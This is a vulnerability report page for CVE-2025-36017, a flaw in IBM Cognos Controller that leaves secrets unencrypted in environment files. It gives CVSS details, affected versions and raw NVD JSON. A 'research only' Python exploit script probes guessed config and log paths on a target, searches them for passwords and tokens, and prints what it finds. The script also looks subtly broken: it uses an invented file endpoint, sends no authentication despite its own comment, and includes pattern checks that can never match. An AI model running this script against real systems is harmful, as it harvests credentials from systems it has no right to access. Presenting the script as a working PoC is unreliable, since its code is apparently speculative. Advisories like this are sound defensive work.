Security Vulnerability Report
中文
CVE-2025-36017 CVSS 6.5 MEDIUM

CVE-2025-36017

Published: 2025-12-08 22:15:52
Last Modified: 2025-12-10 18:08:41

Description

IBM Controller 11.1.0 through 11.1.1 and IBM Cognos Controller 11.0.0 through 11.0.1 FP6 stores unencrypted sensitive information in environmental variables files which can be obtained by an authenticated user.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:controller:*:*:*:*:*:*:*:* - VULNERABLE
IBM Controller 11.1.0
IBM Controller 11.1.1
IBM Cognos Controller 11.0.0
IBM Cognos Controller 11.0.1 FP6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36017 PoC - Environment Variables File Access # Target: IBM Controller / IBM Cognos Controller # Vulnerability: Unencrypted sensitive information in env files import os import sys import requests from pathlib import Path def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-36017""" # Common environment variable file paths for IBM Controller env_file_paths = [ "/opt/ibm/cognos/controller/configuration/cogstartup.xml", "/opt/ibm/cognos/controller/configuration/env.properties", "/opt/ibm/cognos/controller/configuration/ccr_environ.properties", "C:\\Program Files\\IBM\\Cognos\\Controller\\configuration\\env.properties", "C:\\Program Files\\IBM\\Cognos\\Controller\\configuration\\ccr_environ.properties", "/ibm/cognos/controller/configuration/environment variables.txt", "/ibm/cognos/controller/logs/env_dump.log" ] print(f"[*] Scanning target: {target_url}") print(f"[*] Checking for CVE-2025-36017 vulnerability...") vulnerable_files = [] for file_path in env_file_paths: try: # Attempt to access environment variable files # In real scenario, this would be done via authenticated session response = requests.get( f"{target_url}/files/{file_path}", timeout=10, verify=False ) if response.status_code == 200: content = response.text # Check for sensitive patterns sensitive_patterns = [ "password", "secret", "key", "token", "credential", "PASSWORD", "SECRET", "API_KEY" ] if any(pattern in content.lower() for pattern in sensitive_patterns): print(f"[+] VULNERABLE: Found sensitive data in {file_path}") vulnerable_files.append(file_path) print(f" Content preview: {content[:200]}...") except requests.exceptions.RequestException as e: continue if vulnerable_files: print(f"\n[!] Target is VULNERABLE to CVE-2025-36017") print(f"[!] Found {len(vulnerable_files)} vulnerable files") return True else: print("[-] Target appears NOT vulnerable") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-ibm-controller.local" check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36017", "sourceIdentifier": "[email protected]", "published": "2025-12-08T22:15:51.513", "lastModified": "2025-12-10T18:08:41.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Controller 11.1.0 through 11.1.1 and IBM Cognos Controller 11.0.0 through 11.0.1 FP6 stores unencrypted sensitive information in environmental variables files which can be obtained by an authenticated user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-526"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:controller:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.1.0", "versionEndExcluding": "11.1.2", "matchCriteriaId": "24C24CEC-8494-4620-9F14-22D154D85866"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7253283", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}